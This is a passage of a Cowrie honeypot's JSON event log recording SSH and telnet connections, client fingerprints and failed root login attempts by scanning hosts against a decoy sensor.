{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:e4:56:da:c3:e8:22:b4:d2:c6:55:bb:01:69:e4:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAv/THcnTYUFCwZZ7eM7diqLDBlVGbuRSefj8Ogqui6I5E3NWesIvQ3KQTkXdPX2F41yVXAFsXRw76drOwuVq5sZJc8TH81vKhXgK2Ltbkc1wcUgkvsSDRlymK5uDitjaY2gD11v+oQQNro6zlnGTM+yH7EFee6v5RwQB+KtcXVZrejYv1ZvrC7GWwfHcGm5UQSItHiFEXNihsE2XqDRwqRBpHnxRJ4f7NEqoL0o/YiuEmB7AbctxFj7/QeTxTZNSNYyH92Ay6XEHjhdsmN1it3/MjOhMm3p0kiFUpDbujpXosYCOIKVgO68ha1aEyyoND9W2MpzYRf9CTtRyLaHTSww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:47.014234Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:e4:56:da:c3:e8:22:b4:d2:c6:55:bb:01:69:e4:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAv/THcnTYUFCwZZ7eM7diqLDBlVGbuRSefj8Ogqui6I5E3NWesIvQ3KQTkXdPX2F41yVXAFsXRw76drOwuVq5sZJc8TH81vKhXgK2Ltbkc1wcUgkvsSDRlymK5uDitjaY2gD11v+oQQNro6zlnGTM+yH7EFee6v5RwQB+KtcXVZrejYv1ZvrC7GWwfHcGm5UQSItHiFEXNihsE2XqDRwqRBpHnxRJ4f7NEqoL0o/YiuEmB7AbctxFj7/QeTxTZNSNYyH92Ay6XEHjhdsmN1it3/MjOhMm3p0kiFUpDbujpXosYCOIKVgO68ha1aEyyoND9W2MpzYRf9CTtRyLaHTSww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:e4:56:da:c3:e8:22:b4:d2:c6:55:bb:01:69:e4:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:47.108272Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:e4:56:da:c3:e8:22:b4:d2:c6:55:bb:01:69:e4:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAv/THcnTYUFCwZZ7eM7diqLDBlVGbuRSefj8Ogqui6I5E3NWesIvQ3KQTkXdPX2F41yVXAFsXRw76drOwuVq5sZJc8TH81vKhXgK2Ltbkc1wcUgkvsSDRlymK5uDitjaY2gD11v+oQQNro6zlnGTM+yH7EFee6v5RwQB+KtcXVZrejYv1ZvrC7GWwfHcGm5UQSItHiFEXNihsE2XqDRwqRBpHnxRJ4f7NEqoL0o/YiuEmB7AbctxFj7/QeTxTZNSNYyH92Ay6XEHjhdsmN1it3/MjOhMm3p0kiFUpDbujpXosYCOIKVgO68ha1aEyyoND9W2MpzYRf9CTtRyLaHTSww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:47.111382Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":39878,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8306cbeba07","protocol":"ssh","message":"New connection: 81.9.145.130:39878 (10.17.0.5:22) [session: a8306cbeba07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:48.579406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:48.584564Z","src_ip":"81.9.145.130","session":"a8306cbeba07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:48.697749Z","src_ip":"81.9.145.130","session":"a8306cbeba07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.856172561645508,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:48.743308Z","src_ip":"152.42.224.71","session":"7cafa3a0df69","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"pandora","message":"login attempt [root/pandora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:49.179049Z","src_ip":"81.9.145.130","session":"a8306cbeba07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a8c51536797","protocol":"telnet","message":"New connection: 152.42.224.71:58544 (10.17.0.5:23) [session: 8a8c51536797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:49.415710Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:50.294011Z","src_ip":"81.9.145.130","session":"a8306cbeba07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.63261413574219,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:56.338127Z","src_ip":"152.42.224.71","session":"47b9ad928350","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:56.726767Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":34858,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bec88543672","protocol":"ssh","message":"New connection: 206.221.176.152:34858 (10.17.0.5:22) [session: 4bec88543672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.647547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.652343Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.658977Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:02:a9:b7:a3:b4:02:bb:4f:c7:39:e0:d1:b5:8d:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmzw9QwL7swpf2mST37nvy6bapgpSJVeGmHOM04EFsIUBE35tYTGAnNbVosNw8LHLNsBP0SK6VUOkp6TTh1n6XzUlfkSx9/SoFWaiBcLwDt9oPSBovzb4VmFURCbpsGjwVwPO60hrYXoKzltxutkyBPwrodflcMWitbi//YmnmDz0sijaCFETN1aKek4UlmuVjtvnwCbSBVK+AR4b+17fYI4BX9xKx2j/GK5D1RUTr+aC5K6Y1Kkdgz845fdlCVTRiuKzRdlEppTRgdBA2YjcFOkAUrPWITEyJWOFc63HXwlB14/X0WbterZ9DC4ZfaadONBB+Ss8Pl/QmnnB9Dhhf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:02:a9:b7:a3:b4:02:bb:4f:c7:39:e0:d1:b5:8d:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.679010Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:02:a9:b7:a3:b4:02:bb:4f:c7:39:e0:d1:b5:8d:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmzw9QwL7swpf2mST37nvy6bapgpSJVeGmHOM04EFsIUBE35tYTGAnNbVosNw8LHLNsBP0SK6VUOkp6TTh1n6XzUlfkSx9/SoFWaiBcLwDt9oPSBovzb4VmFURCbpsGjwVwPO60hrYXoKzltxutkyBPwrodflcMWitbi//YmnmDz0sijaCFETN1aKek4UlmuVjtvnwCbSBVK+AR4b+17fYI4BX9xKx2j/GK5D1RUTr+aC5K6Y1Kkdgz845fdlCVTRiuKzRdlEppTRgdBA2YjcFOkAUrPWITEyJWOFc63HXwlB14/X0WbterZ9DC4ZfaadONBB+Ss8Pl/QmnnB9Dhhf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.682962Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:82:f6:d7:5d:b6:a6:3e:51:26:67:e2:35:74:37:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzeGBp6YY/gLTL5i9s1vfNcqyeMf36BxCouS0gUww309Kk938gmNglIhhnmqLcVyFRkiXZBKD1h9sBUckLZCof4A7dduroAsnSjeU7Qptcz1iIdZjsJKSFjqEocWvOWcuzUMLmgniJ0AZRJa3u9foTJV0mBgQ5gxOsbxgQ7JYn6HDVOicewjpm1NX7UjnpIrGlCNXz9Ar68ewZ9Hzt4s6/0FSnr5yzZJ+Q1msoMFODbBPYNyGROKcnX28R0FKLz1RnOTcL6Vrg/gTc2mO5mUB3zFQnd5Ny90mtYYbrvPydJxcqSe8N6NS0fQx57gaHstUQMhuD7EmZhgwYfBN3g1bIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:82:f6:d7:5d:b6:a6:3e:51:26:67:e2:35:74:37:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.690458Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:82:f6:d7:5d:b6:a6:3e:51:26:67:e2:35:74:37:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzeGBp6YY/gLTL5i9s1vfNcqyeMf36BxCouS0gUww309Kk938gmNglIhhnmqLcVyFRkiXZBKD1h9sBUckLZCof4A7dduroAsnSjeU7Qptcz1iIdZjsJKSFjqEocWvOWcuzUMLmgniJ0AZRJa3u9foTJV0mBgQ5gxOsbxgQ7JYn6HDVOicewjpm1NX7UjnpIrGlCNXz9Ar68ewZ9Hzt4s6/0FSnr5yzZJ+Q1msoMFODbBPYNyGROKcnX28R0FKLz1RnOTcL6Vrg/gTc2mO5mUB3zFQnd5Ny90mtYYbrvPydJxcqSe8N6NS0fQx57gaHstUQMhuD7EmZhgwYfBN3g1bIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.694599Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:12:af:a2:be:3d:a7:d3:73:3c:67:52:52:21:6e:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJBr216FXKpZ5q6LHkB2QdDvcUccXAXEULaWaZ+4+jcpHZTML1roFGQu0PXQpXiVG2Cx+YibCZl+SvOe2b0bhmiGC01otGWHXi88lIySnGrDUgQrS+3dP1Fvg/5pu4ETdO6D4V0naTQg41PpraJATpGwBar+tTiuKauMbUpHxrD4dUWDsz7ouRzJ8Y/LCAfxjsCtQVdcBMM7L4YRgbKH2/gUlYOSH+ZMQmDAi7dCuJFxJiDaJ2FXR21YaxHYDI2M6HRSH6yDLgwf324thD7AQrQcJIc/x+F6ZC0/k8fdTk7ouVelvIcHs8UetFiaXTkbB77dFtoi3hIJzwkyY/tmMl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:12:af:a2:be:3d:a7:d3:73:3c:67:52:52:21:6e:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.703245Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:12:af:a2:be:3d:a7:d3:73:3c:67:52:52:21:6e:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJBr216FXKpZ5q6LHkB2QdDvcUccXAXEULaWaZ+4+jcpHZTML1roFGQu0PXQpXiVG2Cx+YibCZl+SvOe2b0bhmiGC01otGWHXi88lIySnGrDUgQrS+3dP1Fvg/5pu4ETdO6D4V0naTQg41PpraJATpGwBar+tTiuKauMbUpHxrD4dUWDsz7ouRzJ8Y/LCAfxjsCtQVdcBMM7L4YRgbKH2/gUlYOSH+ZMQmDAi7dCuJFxJiDaJ2FXR21YaxHYDI2M6HRSH6yDLgwf324thD7AQrQcJIc/x+F6ZC0/k8fdTk7ouVelvIcHs8UetFiaXTkbB77dFtoi3hIJzwkyY/tmMl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.706733Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:f9:c8:2d:b8:c7:a2:c6:b4:d4:70:9c:62:9c:3e:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8Md6RHFYNiTOoCXxgi1oX+/EG0WgthJaSaL/nnw48rIh/ndM4gwCtt9802i0a1WnkY6xbKQueCurV8d5wIyqfv7aAjuTnTBrLt4ivaRs0zX/zBsfmCPljyAtWGnj+IVJpty3lwm2+GLCY8PXYw34f5Z63/qZiVnOtyh4HtVg1xEWxgJwXFn6mxqcQBg4TV9KG0LoU9rv2g1bjmUNo0W4G6Koc5c2Lh/xR3lPAPg9jqC48v87vwnpD0Osshsk/ffYzhbXszZZzNTobsrQHM+8fQ3wOYKRiM+btNbvYMNsn7GqXCrC0qdHn5C8LIfQLV24YJ0Z5MRufzAO8NuFmRQ+tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:f9:c8:2d:b8:c7:a2:c6:b4:d4:70:9c:62:9c:3e:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.723055Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:f9:c8:2d:b8:c7:a2:c6:b4:d4:70:9c:62:9c:3e:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8Md6RHFYNiTOoCXxgi1oX+/EG0WgthJaSaL/nnw48rIh/ndM4gwCtt9802i0a1WnkY6xbKQueCurV8d5wIyqfv7aAjuTnTBrLt4ivaRs0zX/zBsfmCPljyAtWGnj+IVJpty3lwm2+GLCY8PXYw34f5Z63/qZiVnOtyh4HtVg1xEWxgJwXFn6mxqcQBg4TV9KG0LoU9rv2g1bjmUNo0W4G6Koc5c2Lh/xR3lPAPg9jqC48v87vwnpD0Osshsk/ffYzhbXszZZzNTobsrQHM+8fQ3wOYKRiM+btNbvYMNsn7GqXCrC0qdHn5C8LIfQLV24YJ0Z5MRufzAO8NuFmRQ+tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.726670Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:3d:5d:99:b1:40:b4:ee:51:4d:ea:73:72:37:d1:9b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK80h/12clZLgoDLYBA4wShwHwjtYd5aYIWImbWXi1hI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 01:3d:5d:99:b1:40:b4:ee:51:4d:ea:73:72:37:d1:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.735134Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:3d:5d:99:b1:40:b4:ee:51:4d:ea:73:72:37:d1:9b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK80h/12clZLgoDLYBA4wShwHwjtYd5aYIWImbWXi1hI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.738496Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:58.746675Z","src_ip":"206.221.176.152","session":"4bec88543672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.55859422683716,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:01.682862Z","src_ip":"152.42.224.71","session":"cf04ae574281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.965664625167847,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:07.381282Z","src_ip":"152.42.224.71","session":"8a8c51536797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"3de5405e7ca4","protocol":"telnet","message":"New connection: 152.42.224.71:48762 (10.17.0.5:23) [session: 3de5405e7ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:10.035297Z"}
{"eventid":"cowrie.session.closed","duration":44.1817946434021,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:13.578881Z","src_ip":"152.42.224.71","session":"d59c1652621e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f81fade35df","protocol":"telnet","message":"New connection: 152.42.224.71:48764 (10.17.0.5:23) [session: 6f81fade35df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:15.987519Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":49316,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82678a71cc5","protocol":"ssh","message":"New connection: 94.159.110.201:49316 (10.17.0.5:22) [session: f82678a71cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:16.402530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:16.407972Z","src_ip":"94.159.110.201","session":"f82678a71cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:16.526850Z","src_ip":"94.159.110.201","session":"f82678a71cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234562","message":"login attempt [root/1234562] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:16.932894Z","src_ip":"94.159.110.201","session":"f82678a71cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:18.054707Z","src_ip":"94.159.110.201","session":"f82678a71cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":33854,"dst_ip":"159.203.135.109","dst_port":22,"session":"070c0375177e","protocol":"ssh","message":"New connection: 103.149.170.125:33854 (159.203.135.109:22) [session: 070c0375177e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:18.908738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:18.914806Z","src_ip":"103.149.170.125","session":"070c0375177e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v